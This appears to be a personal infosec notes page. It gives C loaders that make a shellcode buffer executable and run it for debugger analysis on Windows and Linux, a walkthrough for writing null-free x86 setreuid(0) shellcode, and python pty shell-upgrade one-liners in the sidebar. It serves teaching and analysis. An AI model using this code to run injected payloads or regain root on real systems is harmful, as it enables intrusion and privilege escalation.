akde/infosec

Information security is ultimately about managing risk


See also the Buffer Over­flow post

Execute shellcode

Sce­nario: You have shell­code. You want to run it to ana­lyze it in a debugger.

On Windows

#include <windows.h>

char shellcode[] = "\xcc$hereTheShellcode"; // \xcc => breakpoint

void main(int argc, char **argv) {
	DWORD oldprot;
	VirtualProtect(shellcode, sizeof(shellcode), 0x40, &oldprot);
	void (*func)();
	func = (void (*)()) shellcode;
	(*func)();
}

Add the shell­code after the break­point with

i686-w64-mingw32-cc s.c -o s.exe
x86_64-w64-mingw32-cc s.c -o s.exe

and run it in a debugger.

On Linux

#include <sys/mman.h>

char shellcode[] = "\xcc%hereTheShellcode"; // For debugging, prepend with \xcc

void main(int argc, char **argv) {
	unsigned long sh_addr = (unsigned long)shellcode;
	// Address for mprotect must be aligned
	unsigned long b_addr = sh_addr & 0xfffffffffffff000;
	unsigned long size = (sh_addr - b_addr) + sizeof(shellcode);
	mprotect((void*)b_addr, size, PROT_READ|PROT_WRITE|PROT_EXEC);
	void (*func)();
	func = (void (*)()) shellcode;
	(*func)();
}

Add the shell­code after the break­point with gcc [-m32] s.c and run it in a debugger.

Write shellcode

This x86 shell­code calls the setreuid() syscall with argu­ment 0 so that the process runs as UID 0 again. (Assum­ing that the pro­gram was orig­i­nal­ly start­ed with UID 0 and dropped the priv­i­leges before our call.)

1. Cre­ate the assem­bly file a.asm.

BITS 32 ; set architecture
mov eax, 0x00
mov ebx, 0x00
mov ecx, 0x00
mov edx, 0x00
mov eax, 0x46
int 0x80

2. Trans­late it into an sta­t­ic object file.

nasm a.asm

3. Inspect the gen­er­at­ed machine code.

xxd -ps a
66b80000000066bb0000000066b90000000066ba0000000066b846000000

If you should need a hex rep­re­sen­ta­tion with \x, use this:

echo 66b800 | sed -e 's/../\\x&/g'
\x66\xb8\x00

4. The pre­vi­ous code con­tained mul­ti­ple null bytes. This is bad, because most input meth­ods like sprintf() will ter­mi­nate at the null byte. There­fore, we have to set the argu­ment reg­is­ters with­out using a null byte in our shell­code. Using a xor a to cre­ate a null val­ue with­out using a null byte, we got a new shellcode:

BITS 32 ; set architecture
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov eax, 0x46
int 0x80

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';